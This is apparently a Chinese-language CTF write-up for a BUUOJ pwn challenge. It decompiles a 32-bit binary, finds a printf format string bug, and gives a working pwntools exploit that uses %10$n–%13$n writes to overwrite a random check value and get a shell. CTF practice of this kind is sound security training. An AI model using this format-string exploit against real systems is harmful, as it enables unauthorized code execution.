查看程序
得知该程序为i386的32位程序
其次就是该程序开始了Canary、NX保护
首要任务:如何突破Canary保护。(使用printf突破Canary保护)
IDA分析程序
main
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u); //读取4字节的文件内容
printf("your name:");
read(0, buf, 0x63u); //读取0x63字节的输入内容,格式化字符串注入点
printf("Hello,");
printf(buf); //输出刚才输入的内容,考虑格式化字符串漏洞突破Canary
printf("your passwd:");
read(0, nptr, 0xFu); //读取0xf字节的输入内容
if ( atoi(nptr) == dword_804C044 ) //考虑使之成立
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
read(fd, &dword_804C044, 4u);
我们跟进dword_804C044变量所处地址;
变量dword_804C044
可以发现dword_804C044变量处于.bss段,并且地址位于0x804C044
;
所以我们可以通过格式化字符串漏洞的任意地址修改更改地址0x804C044
的值,使if语句成立即可获取权限;
漏洞利用
利用原理
可以通过格式化字符串漏洞修改任意地址内容的利用关键是
%n //不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
%10$n //不输出字符,将已经输出的字符个数存储到第10个栈参数对应的地址上
分析检测
通过在输入 buf
处输入特殊格式的字符串,来检测栈中参数与存储地址的偏移量
输出结果如图所示
我们可以看出,我们所输入的 aaaa
被存储到了第10个栈参数的位置,所以对应的偏移为10
构造注入payload
只需要利用好 %m$n
对地址的修改即可
构造payload
payload = p32(0x804C044) + p32(0x804C045) + p32(0x804C046) + p32(0x804C047) + b'%10$n%11$n%12$n%13$n'
先将我们需要修改的地址0x804C044
以后后3个地址输入,由于读取内容为4个字节 read(fd, &dword_804C044, 4u);
;
然后将这4个地址对应的存储位置,通过%m$n
将对应地址内容修改为输出的字符个数;
由于输入四个地址,对应输出16个字节,也就是将每个地址(即0x804C044~0x804C047)的内容修改为0x10
偏移量为10,所以我们只需要对第10个到第13个参数对应的内容的地址进行修改即可;
最后构造密码 read(0, nptr, 0xFu);
由于我们将这四个地址(即0x804C044~0x804C047)存储的内容均修改为0x10,所以变量&dword_804C044
读出的4个字节的内容即为 0x10101010
故我们读入密码为 str(0x10101010)
即可
p.sendline(str(0x10101010))
最终exp如下
exp
from pwn import *
context = 'debug'
p = remote('node4.buuoj.cn',29866)
#p = process('./pwn')
def main():
payload = p32(0x804C044) + p32(0x804C045) + p32(0x804C046) + p32(0x804C047) + b'%10$n%11$n%12$n%13$n'
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()
if __name__ == '__main__':
main()